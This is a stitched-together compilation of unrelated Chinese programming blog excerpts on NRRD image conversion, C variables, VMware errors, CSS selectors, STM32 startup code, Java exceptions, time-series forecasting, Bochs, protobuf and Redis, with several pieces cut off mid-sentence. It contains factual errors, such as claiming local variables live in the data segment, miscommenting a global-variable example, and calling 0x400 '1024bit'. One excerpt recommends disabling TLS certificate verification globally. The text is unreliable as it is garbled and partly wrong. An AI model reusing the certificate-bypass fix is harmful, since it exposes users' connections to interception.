pip install pynrrd 核心代码:
import numpy as np import nrrd import os import cv2 def nrrd_to_png(nrrd_filename,save_path,patient_id): nrrd_filename = nrrd_filename nrrd_data, nrrd_options = nrrd.read(nrrd_filename) h,w,slides_num = nrrd_data.shape for i in range(slides_num): img = nrrd_data[:,:,slides_num-i-1]*255 # img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) cv2.imwrite(save_path + '/' + patient_id + '_' + str(i+1) + '.png',img) 通过nrrd.read操作读取图像,返回值中的nrrd_data是一个numpy数组,形状是[h,w,slide_num],然后使用opencv保存一下就行了.保存以后mask出现了形状和itk-snap显示不一样,所以对数组做一下转置,就可以得到正确的图像了.
转置代码如下:
def rotation(path): image = cv2.imread(path) image = cv2.transpose(image) # image = cv2.flip(image,1) cv2.imwrite(path,image)
局部变量和全局变量是很多初学者都容易轻视的一个概念,他们只认什么整型变量,字符变量什么的,并没有去关心全局和局部变量是什么,我自己也是,所以我专门去补了一下这方面的知识现在与大家分享一下,如果有哪里讲的不要或者有错的,请您慷慨解答。
C语言由四种地方可以定义变量
在函数外部定义的是全局变量
在头文件中定义的是全局变量
在函数或语句块内部定义的是局部变量
函数的参数是该函数的局部变量
首先给大家说一下什么是全局变量和局部quan
全局变量是定义在函数外部,通常是程序的顶部(其它地方也可以)。全局变量在整个生命周期内都是有效的,在定义位置之后的任意函数都能访问
局部变量是指在函数内部定义的变量
现在我们就从几个方面来介绍一下它们有什么区别
存储的区别
全局变量存储在一个程序的data段中的静态数据区
局部变量存储在一个程序的data段中的栈区(stack),我们每定义一个局部变量,栈就会分配一块空间用来存储我们定义的局部变量
大家可以看一下这张如,看不懂也没关系,可以以后慢慢了解
作用域的区别
作用域是指程序中被定义的变量存在(或生效)的区域,超过该区域变量就不能访问
局部变量的作用域仅限于定义这个变量的函数内部,在一个函数内部定义了,就不能在其它函数内部使用这个变量
例如:
#include<stdio.h> void swap() { int a = 10; //在swap函数内定义一个局部变量a } int main() { swap(); printf("%d", a);//在主函数内部是不能使用的 } 全局变量的作用域是整个源程序,也就是整个工程文件,也就是谁说,定义了一个全局变量,这个变量不仅可以在多个函数内部使用,还可以在同一工程中的其它文件中使用
例如:
#include<stdio.h> int a = 10; //定义一个全局变量a void swap() { printf("%d", a); } int main() { swap(); printf("%d", a);//在主函数内部是不能使用的 } 生命周期的区别
生命周期是指一个变量的什么时候被创建,什么时候被销毁或被释放。也就是说从创建到释放那一段作用时间,一个变量的生命周期跟它的作用域是紧密相连的。局部变量和全局变量作用域的不同也就导致了它们生命周期的不同,出来这个变量的作用域,这个变量的生命周期也就结束了。
#include<stdio.h> int j = 0; //定义一个全局变量j,作用域是整个工程文件 void fun1(int i) //定义一个局部变量i,作用域在fun1内 { i++; } void fun2(void) { j++; } int main() { int k = 0; int a = 0; for (k = 0; k < 10; k++) { fun1(a); fun2(); } return 0; } 这段代码输出的结果大家可以自信编译看一下
该主机cpu类型不支持虚拟化性能计数器,开启模块VPMC的操作失败,未能启动虚拟机。
在vmware使用从其他机子上拷贝的Ubuntu的虚拟机的时候出现了报错
解决方法如下:
打开虚拟机设置——处理器,检查下虚拟化引擎下面
是否对应选项有勾选,有的话,去掉所有勾选,确定后,再打开虚拟机看下。
版权归生化环材所有,请勿爬取本文用于商业推广!
一句话解决 在 CloudFlare 的 SSL/TLS 菜单里将「SSL/TLS 加密模式」设置为完全(Strict)即可。
参考资料 使用 CloudFlare 导致网站重定向的次数过多解决方案
使用CloudFlare将您重定向次数过多
sql中处理json主要使用JSON_EXTRACT方法
json数组 案例:更改字段值为另一个字段的json数组中元素json对象的某个属性值,先获取并处理值,得到结果查看是否正确,再更新字段。
SELECT SUBSTRING( REPLACE(JSON_EXTRACT(scene_his_result, CONCAT('$[',JSON_LENGTH(scene_his_result)-2,'].sceneImg')),'\\',''), 1 , LENGTH(REPLACE(JSON_EXTRACT(scene_his_result, CONCAT('$[',JSON_LENGTH(scene_his_result)-2,'].sceneImg')),'\\','')) ) FROM biz_scene WHERE scene_img = ''
交集选择器 交集选择器由两个选择器构成,找到的标签必须满足:既有标签一的特点,也有标签二的特点。
交集选择器 是 并且的意思。 即…又…的意思
比如: p.one 选择的是: 类名为 .one 的 p标签。 用的相对来说比较少,不太建议使用。
并集选择器 并集选择器通常用于集体声明 ,逗号隔开的,所有选择器都会执行后面样式,逗号可以理解为 和的意思。
比如 .one, p , #test {color: #F00;} 表示 .one 和 p 和 #test 这三个选择器都会执行颜色为#F00 通常用于集体声明。
1. 启动文件详解 1.1 启动文件的主要任务 启动文件会完成以下五件事:
初始化堆栈指针 SP=__initial_sp初始化PC指针 PC=Reset_Handler初始化中断向量表配置系统时钟调用C库函数__main()初始化用户堆栈,从而最终调用main函数 1.2 启动文件中的汇编指令 1.3 启动代码讲解 1.3.1 栈的初始化 先进行栈的初始化,先定义Stack_Size 的大小为0x00000400(1024bit),不初始化,可读可写,8字节对齐,分配内存空间。栈的作用用于局部变量,函数调用,函数形参等的开销。
_initial_sp表示栈的结束,即栈的指针。
1.3.2 堆的初始化 类似栈的初始化,堆是用来动态内存的分配。
1.3.3 向量表初始化 先定义数据段:RESET,只读,并声明 _Vectros _Vectros_End _Vectros_Size
当内核响应一个异常,对应的异常服务例程会执行ISR,找到ISR的入口地址,内核使用向量表查表机制,通过NVIC的一个重定位寄存器指向向量表的地址。在复位后,该寄存器的值为0。
1.3.4 复位程序 先定义一个 |.test|的代码段,可读,再调用SystemInit函数初始化系统时钟,然后调用C函数库_main.
1.4 系统启动流程 系统上电从0x00000000处取出MSP从0x00000004处取出PC的初始值,这个值就是复位向量Reset_Handler,LSB必须是1跳转到复位向量,执行Reset_Handler函数执行C库的__main()函数跳转到我们定义的main函数
一、异常处理方式1 —— throws
· throws:用在方法上,可以将方法内部出现的异常抛出去给本方法的调用者处理。
· 这种方式并不好,发生异常的方法自己不处理异常,如果异常最终抛出去给虚拟机将引起程序死亡。
抛出异常格式:
方法 throws 异常1 ,异常2 ,异常3 ..{
}
规范做法:
方法 throws Exception{
}
代表可以抛出一切异常
二、异常处理方式2 —— try…catch…异常处理方式2 —— try…catch…
· 监视捕获异常,用在方法内部,可以将方法内部出现的异常直接捕获处理。
· 这种方式还可以,发生异常的方法自己独立完成异常的处理,程序可以继续往下执行。
格式:
try{ // 监视可能出现异常的代码!
}catch(异常类型1 变量){
// 处理异常
}catch(异常类型2 变量){
// 处理异常 }...
建议格式:
try{ // 可能出现异常的代码!
}catch (Exception e){
e.printStackTrace(); // 直接打印异常栈信息
}
Exception可以捕获处理一切异常类型!
三、异常处理方式3 —— 前两者结合
· 方法直接将异通过throws抛出去给调用者
· 调用者收到异常后直接捕获处理
ps:在开发中按照规范来说第三种方式是最好的:底层的异常抛出去给最外层,最外层集中捕获处理。
实际应用中,只要代码能够编译通过,并且功能能完成,那么每一种异常处理方式似乎也都是可以的。
问题描述: Visual Studio 调试程序不显示控制台
解决方案: 项目-(最下方)项目名属性->配置属性->链接器->系统->子系统(下拉选择控制台),如下图
目录 常量变量 在计算机高级语言中,数据有两种表示形式:常量和变量
常量 在程序运行过程中,其值不能被改变的量称为常量,比如 1000,123.0,-234等等;
常用的常量有以下几类:
(1)整型常量 如1000,2000,3000,0,-6等都是整型常量
(2)实型常量--有两种表示形式
1. 十进制小数形式,由数字和小数组成,如123.456, 0.345, -56.79, 0.0, 12.0等
2. 指数形式,如12.34e3(代表12.34*10^3), -346.87e-25(代表-326.87*10^-25),0.145E-25(代表0.145*10^-25)等;e和E是以10为底的指数, 这里要注意:e或E之前必须有数字 ,且e或E后面必须为整数
(3)字符常量 --有两种表示形式
1.普通字符,用单撇号括起来的一个字符,如’a’,'Z','3','?','#'。注意:不能写成'ab'或'12',字符常量只能是一个字符。
2.转义字符,除了字符常量外,c语言还允许一种特殊形式的字符常量,看图:
转义字符及其作用
(4)字符串常量
如"abc","CHINA","123",注意不能写成'abc','CHINA','123',因为单撇号内只能包含一个字符,双撇号内可以包含一个字符串
(5)符号常量
用#define指令,指定用一个符号名称代表一个常量。用代码表示如下:
#define PI 3.1416 //注意行末没有分号
变量 变量是指在程序的运行过程中随时可以发生变化的量。
变量是程序中数据的临时存放场所。在代码中可以只使用一个变量,也可以使用多个变量,变量中可以存放单词、数值、日期以及属性。由于变量让你能够把程序中准备使用的每一段数据都赋给一个简短、易于记忆的名字,因此它们十分有用。变量可以保存程序运行时用户输入的数据(如使用InputBox函数在屏幕上显示一个对话框,然后把用户键入的文本保存到变量中)、特定运算的结果以及要在窗体上显示的一段数据等。简而言之,变量是用于跟踪几乎所有类型信息的简单工具。
变量有两种类型:属性变量和用户自己建立的变量。
(1)常变量
C99允许使用常变量,方法是定义变量时,前面加一个关键词const,如:
const int a=3;
这里定义a为一个整型变量,指定其值为3,而且在变量存在期间,其值不能改变
#define Pi 3.1415926 //定义符号常量 const float pi=3.1415926 //定义常变量 这里常变量和符号常量有什么不同吗?
符号常量Pi和常变量都代表3.1415926,在程序中都能使用。但二者性质不同:定义符号常量用#define指令,它是预编译指令,它只是用符号常量代表一个字符串,在预编译时仅进行字符替换,在预编译后,,符号常量就不存在了(全部换成3.1415926了),对符号常量的名字是不分配存储单元的。而常变量要占用存储单元,有变量值,只是该值不改变而已。从使用的角度看,常变量具有符号常量优点,而且使用更方便。有了常变量以后,可以不必多用符号常量。
好了,就先到这,本人刚开始写博客有那里不足多多指出,或有什么建议下面评论哦,以上内容那里不懂也可以在下面评论,如有那里有错多多包涵和指出,要学编程基础一定要扎实哈,再见了大家!!!
0 前言 一开始也没想到要做这个,人力的领导嫌用Excel太烦了想把一些机械重复劳动以程序替换,所以产生了这个需求。由于是面向个人需求开发的产品,所以做成单机的,一套做下来感觉事倍功半,以后还是B/S架构做成网页好点,这里避免工作浪费在这里总结一下全过程。
目录 0 前言1 数据2 需求3 GUI工具TK(tkinter)4 功能实现4.1 整体框架4.11主界面4.12 主界面配件 4.2 上传功能实现4.3 查询功能实现4.31 查询条件交互功能实现4.32 查询算法实现4.33 查询结果展示功能实现 4.4 业务计算功能实现4.5 结果保存功能实现4.6 全局滚动条实现 5 打包成.exe文件6 完整代码 1 数据 数据是员工技能考试数据,进行了简单的脱敏处理,大致如下:
2 需求 其实需求没有太复杂,实现简单只是效率和前端上经不起考验。
实现表格的查询功能包括单条件查询和多条件查询。实现简单的业务计算并产生报表。所有功能要交互完成。 3 GUI工具TK(tkinter) 用python做GUI的情况应该比较少,我也就随大流选了TK工具包,其难点还是在于网格式布局的理解以及功能套件封装没有那么易用,比如滚轮滑动都费了较大力气才弄好,对这方面感兴趣的可以看Python的GUI图形界面工具大全。
4 功能实现 4.1 整体框架 TK的布局分为层级式和网格式,当然网格式比较灵活,但比较难分清楚每个部件构成。本文采取的是网格式,就像画画一样,所有功能按钮都是一层层铺上去的,这里先建个底层,也就是主界面。
4.11主界面 主界面采用全屏展示,再把横竖的滚动条也加上,注意此处的滚动条仅有其形,功能还没加上。
root = tk.Tk() root.title("乐川考试系统") # #窗口标题 w = root.winfo_screenwidth() h = root.winfo_screenheight() root.geometry("%dx%d" %(w,h)) canvas= tk.Canvas(root, width=w, height=h) xscrollbar = tk.Scrollbar(root,orient=tk.HORIZONTAL) yscrollbar = tk.Scrollbar(root) yscrollbar.config(command=canvas.yview) yscrollbar.pack(side=tk.RIGHT, fill=tk.Y) xscrollbar.
点击蓝字
关注我们
#TSer#
时间序列知识整理系列,持续更新中 ⛳️
后台回复"讨论"加入讨论组交流吧 🏃
时间序列预测就是利用过去一段时间的数据来预测未来一段时间内的信息,包括连续型预测(数值预测,范围估计)与离散型预测(事件预测)等,具有非常高的商业价值。
通常,时间序列预测描述了预测下一个时间步长的观测值。这被称为“单步预测”,因为仅要预测一个时间步。例如,给定最近7天观察到的温度:
单步预测仅需要在时间步骤8进行预测。在一些时间序列问题中,必须预测多个时间步长。与单步预测相比,这些称为多步时间序列预测问题。
在开始之前,需要明确一些一直很模糊的问题,也就是时间序列预测的数据形式,我们平常在公众号的一些blog里看到的时间序列预测的数据形式都很简单,并且基本都是单个序列,单变量的序列问题,比如说我们要预测某一个商品的未来销量。这类问题算是最初进入大众视野的时间序列问题的形式,arima,fbprophet之类的都是针对这类问题的。但是在一般复杂业务场景上碰到的问题基本上是成百上千的序列。
当然我们可以对每个序列单独用arima之类的方法来建模,理论上可以,但是实际上基本不可能,一方面维护成千上万的模型的成本是不可估计的,另一方面不同商品的序列长度差异很大,有的序列长度可能非常完整有1500+个序列数据,有的冷门商品或者是新上的商品序列长度很短可能只有不到10个,这种情况下,后者基本没法单独建模。
因此实际上我们常见的业务问题的数据形式是这样的:
商品 日期 销量序列数据 nike的XXX款衣服 2020-01-01 100 nike的XXX款衣服 2020-01-02 200 nike的XXX款衣服 2020-01-03 150 nike的XXX款衣服 2020-01-04 250 ... 这也是web traffic,m5 forecast,favorite store 这些序列比赛的数据的普遍形式,可以说我们面对的主要的问题形式是这样的。
对这些数据进行建模的时候我们面临最直接的问题就是,使用多少的时间步的历史数据预测未来多少个时间步的未来数据,即时间窗的问题,比如我们就用前一天的数据预测后一天的,那么数据就要变成:
商品 日期 过去一天销量 销量序列数据 nike的XXX款衣服 2020-01-01 nan 100 nike的XXX款衣服 2020-01-02 100 200 nike的XXX款衣服 2020-01-03 200 150 nike的XXX款衣服 2020-01-04 150 250 ... 这就是我们的所谓的滞后特征,也是时间序列问题中最常见的也是最重要的特征衍生方法。
一般来说,时间距离约接近的滞后特征对于预测的准确的贡献越大。所以我们会用所谓的窗口的问题,比如你使用 “1阶滞后 2阶滞后……n阶滞后”来预测未来,则你的时间窗的长度为n,当然这个时间窗不一定连续,你可以使用“1阶滞后,3阶滞后,7阶滞后……n阶滞后”等,但是你的时间窗长度仍旧为n,只不过滞后特征的数量变少了而已。
除此之外,还有一个就是gap的问题,也就是提前多少天预测,实际的应用的时候,很多时候除了多步预测之外,还需要你做提前预测,也就是你可能要提前几天的时间进行预测,例如你需要在11月1日预测11月11日,则就是提前10天做预测,那么进行特征构建的时候也需要注意,滞后特征要从10天前开始做起。
为了便于描述,这里假设一个序列:[1,2,3,4,5,6,7,8,9,10,X,Y,Z]
我们要做的是预测未来的3个时间点,X,Y,Z的序列的值,并且为了方便描述,这里我们统一仅仅使用1阶滞后特征。
第一种:直接多步预测
直接多步预测的本指还是单步预测,多步转单步,比如上面我们要预测3个时间点的序列的值,则我们就构建3个模型:
model1:[1,2,3,4,5,6,7,8,9],[X]
model2:[1,2,3,4,5,6,7,8,9],[Y]
model3:[1,2,3,4,5,6,7,8,9],[Z]
这种做法的问题是如果我们要预测N个时间步,则复杂度很高,比如预测未来100天,则意味着我们要构建100个模型;
下面正式进入实操环节,也就是动手搭建操作系统。看着眼前的Windows/Linux/Mac OS/etc,相信绝大多数同学都会感到兴奋和迷茫:这么大个操作系统,从哪里开始呢?古人有云:“工欲善其事,必先利其器。”我们得以发挥自己聪明才智,进行学习研究创造的前提,是拥有一个好的工具。它能让我们在巨人的肩膀上欣赏与创造。在这里,我想表达对所有在相关领域为后人的方便贡献自己汗水的前辈的衷心的感谢与钦佩。
话不多说,接下来我们正式切入正题:配置调试操作系统所需的环境。
C/C++编译器,这里采用gcc/g++方案汇编器,我们将使用较新的NASM作为我们的汇编器虚拟机/模拟器:接下来就欢迎我们今天的主角——Bochs! 简介 Bochs(发音同"Box"),是一款开源,使用C++编写的,高度便携的 IA-32(X86)架构PC模拟器,它包含了对Intel x86架构各种CPU,常见的IO设备以及定制化BIOS的模拟。支持对早期的386处理器到最新的x86-64架构Intel和AMD处理器,甚至包含未上市的处理器版本。1
上面特别强调了模拟器,这和我们平时使用的VMware或是Virtual Box这类虚拟机有何不同呢?虽然表面上看起来,都是在一台宿主机上运行一个客户机系统,但它们两个的运行原理和适用场景却有着天差地别。
虚拟机:指采用虚拟化技术,在已有主机的硬件设施的基础上,虚拟出的一套独立的硬件设施。从原理上看,简单来说(不太严谨),虚拟机中的计算机指令仍然是交由宿主机中的物理核心执行的。因此,它的执行速度相对较快,适用于在物理机上运行一套完整操作系统并使用的场景。模拟器:指使用软件模拟出各个计算机硬件及其功能,包括CPU、内设、外接设备、BIOS等,其底层执行完全是由软件模拟的。因此相较虚拟机而言,模拟器的运行速度慢得多。但由于其操作系统的指令并没有真正让物理机的核心执行,其安全性与崩溃后整个系统的稳定性也好得多。常见于操作系统开发。 所以,将要手动编写操作系统的我们,自然也采用Bochs作为运行/调试我们操作系统的工具。
安装 我们的环境搭建在VMware Workstation中创建的Ubuntu 16.04LTS虚拟机里。(比较绕XD)当然,Bochs支持Windows和Mac OS平台,如果没有或没有兴趣配置虚拟机的话,读者可以装在自己喜欢的平台上。
在Ubuntu上,安装有apt支持的软件真是一件十分令人享受的事情。
sudo apt install bochs-x 一行命令即可结束战斗,接下来就可以愉快的玩耍啦!(我们安装的是带有x11图形化插件的版本,它会自动安装主程序,如果你的计算机没有安装x11,在接下来的运行过程中可能会报错,安装一下即可)
默认的软件安装位置在/usr/share/bochs下,所有软件的可执行文件都在其中,系统还为我们配置好了“快捷方式”,直接输入命令bochs,就能启动Bochs模拟器。
启动后会出现一个菜单,默认选项为2,也就是我们后面要讲的内容:从配置文件读取模拟机器的配置。
配置文件 类似于VMware中虚拟机的配置文件,需要Bochs模拟的机器(下面我也称为虚拟机)的各项硬件配置也需要一个配置文件指定。只不过VMWare有一个比较方便的图形化界面而已。
系统给出的样例文件位于/usr/share/doc/bochs/examples/bochsrc,为一个文本文件,里面有非常详尽的注释,可以帮助我们理解各个选项,以及对应值的含义,读者如果有兴趣可以自己研究。
我们也可以使用如下的简化版bochsrc(注意其中路径可能需要修改,以安装路径为准)
# Bochs配置文件 # 配置机器内存,建议使用新的Memory选项 memory: guest=32, host=64 # 总占用64MB宿主机内存,分配给虚拟机32MB # 对应真实机器的bios (使用bochs提供的BIOS) romimage: file=/usr/share/bochs/BIOS-bochs-latest # 对应真实机器的VGA bios vgaromimage: file=/usr/share/bochs/VGABIOS-lgpl-latest # 启动方式 boot: disk # 关闭鼠标 mouse: enabled=0 # 设置键盘映射 keyboard: keymap=/usr/share/bochs/keymaps/x11-pc-us.map # 硬盘设置 ata0: enabled=1, ioaddr1=0x1f0, ioaddr2=0x3f0, irq=14 我们将其命名为bochsrc.disk,表明从硬盘启动操作系统。
**与VMware相同,Bochs同样不要求虚拟机和Bochs软件在同一目录下,这会增加操作的复杂度。**我们可以在任何位置(如家目录等)放置我们的虚拟机配置文件以及其他内容。
Python3 打开 https 链接,异常:“SSL: CERTIFICATE_VERIFY_FAILED”
一、问题
Python2.7.9 之后,当使用urllib.urlopen打开一个 https 链接时,会验证一次 SSL 证书。而当目标网站使用的是自签名的证书时就会抛出如下异常:
<urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:777)>
二、解决方案
1,方案一
使用ssl创建未经验证的上下文,在urlopen中传入上下文参数:
import ssl
context = ssl._create_unverified_context()
urllib.request.urlopen(req,context=context)
2,方案二
全局取消证书验证:
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib2.urlopen(“https://www.12306.cn/mormhweb/”).read()
3,方案三
使用的是requests模块,将方法中的verify设置位False即可:
requests.get(url, headers=Hostreferer,verify=False)
how to fix CERTIFICATE_VERIFY_FAILED
前言 protobuf 即 Protocol Buffers,是一种轻便高效的结构化数据存储格式,与语言、平台无关,可扩展可序列化。
protobuf 性能和效率大幅度优于 JSON、XML 等其他的结构化数据格式。
protobuf 是以二进制方式存储的,占用空间小,但也带来了可读性差的缺点。protobuf 在通信协议和数据存储等领域应用广泛。
Protobuf 在 .proto 定义需要处理的结构化数据,可以通过 protoc 工具,将 .proto 文件转换为 C、C++、Golang、Java、Python 等多种语言的代码,兼容性好,易于使用。
参考文献 本文文章持续更新于:https://github.com/mailjobblog/dev_go/tree/master/220115_protobuf
protobuf3 官方文档:https://link.jianshu.com/?t=https://developers.google.com/protocol-buffers/docs/proto3
Protocol Buffer 编码:https://developers.google.com/protocol-buffers/docs/encoding?hl=zh-cn#packed
proto service grpc 生成插件:https://github.com/protocolbuffers/protobuf/blob/master/docs/third_party.md
本文代码下载:https://github.com/mailjobblog/dev_go/tree/master/220115_protobuf
安装 安装 protoc
从 Protobuf Releases 下载最先版本的发布包安装。
brew intall protoc 安装 protoc-gen-go
我们需要在 Golang 中使用 protobuf,还需要安装 protoc-gen-go,这个工具用来将 .proto 文件转换为 Golang 代码。
go install google.golang.org/protobuf/cmd/protoc-gen-go@latest Tips:
这儿有个小小的坑,github.com/golang/protobuf/protoc-gen-go 和 google.golang.org/protobuf/cmd/protoc-gen-go是不同的。
区别在于前者是旧版本,后者是google接管后的新版本,他们之间的API是不同的,也就是说用于生成的命令,以及生成的文件都是不一样的。
检查是否安装成功
$ protoc --version libprotoc 3.19.3 $ protoc-gen-go --version protoc-gen-go v1.
报错信息 java.lang.ExceptionInInitializerError
Unable to make field private com.sun.tools.javac.processing.JavacProcessingEnvironment$DiscoveredProcessors com.sun.tools.javac.processing.JavacProcessingEnvironment.discoveredProcs accessible: module jdk.compiler does not “opens com.sun.tools.javac.processing” to unnamed module @22d1743e
报错原因 在类的初始化时,出错。也就是说,在加载类时,执行static的属性、方法块时,出错了。
解决方案 然后apply,ok,重启项目就好了!
String:sds 动态字符串【已使用的。还没有使用的】
List:双向链表 BLPOP LPOP LPUSH
Hash: HashMap
Set: 实现是一个 value永远为null的HashMap
Sorted Set: 跳跃表
1. redis如何清理数据?
————自身的失效策略,如:lru
2. redis为什么那么快?
————内存处理
————单线程【避免了多线程场景下上下文切换】
————io多路复用,非阻塞
3. redis和mem区别?
————mem是多核,redis是单核
————redis数据结构更丰富,所以mem内存利用率更高
4. redis可以执行lua吗?
————Redis内嵌了LUA解析器,可以执行lua 脚本,脚本可以通过eval等命令直接执行
5. redis其他特性?
————redis的所有操作都是原子性的
————内部实现采用epoll,采用了epoll+自己实现的简单的事件框架。epoll中的读、写、关闭、连接都转化成了事件
————redis实际上把任务封闭在一个线程,自然避免了线程安全问题,不过对于需要依赖多个redis操作的复合操作来说,依然需要锁,而且有可能是分布式锁。
————Master最好不要做任何持久化工作,如RDB内存快照和AOF日志文件;(Master写内存快照,save命令调度rdbSave函数,会阻塞主线程的工作,当快照比较大时对性能影响是非常大的,会间断性暂停服务,所以Master最好不要写内存快照;AOF文件过大会影响Master重启的恢复速度)
————如果数据比较重要,某个Slave开启AOF备份数据,策略设置为每秒同步一次
————keys数量大可能会导致卡顿,可以使用SCAN【无阻塞/少量】
6. redis单线程是什么意思?
————单线程指的是网络请求模块使用了一个线程(所以不需考虑并发安全性),即一个线程处理所有网络请求,其他模块仍用了多个线程。
7. redis的数据类型
————string动态字符串[redis里面append很常见]
————hash[初始为4,冲突链地址法,1:1rehash,rehashidx记录当前位置【渐进rehash】] [hmset hget]
————list是双向链表[lpush lrange]
————sorted set是跳跃表[zadd zrangebyscore]
————set [sadd smembers]
8. redis异步队列
————List(rpush,lpop消费,缺点是:没有等待队列里面有值就直接消费)
————BLPOP(阻塞直到有消息或者超时)
————pub/sub【无状态,无法保证可达】
9. redis持久化怎么回事?
————RDB(save阻塞、bgsave fork子进程)1. 执行bgsave(判断当前是否正在执行持久化)2. fork创建子进程(过程redis会阻塞)3. fork后,bgsave结束,不阻塞了 4. 子进程根据当前内存生成快照,替换旧版RDB 5.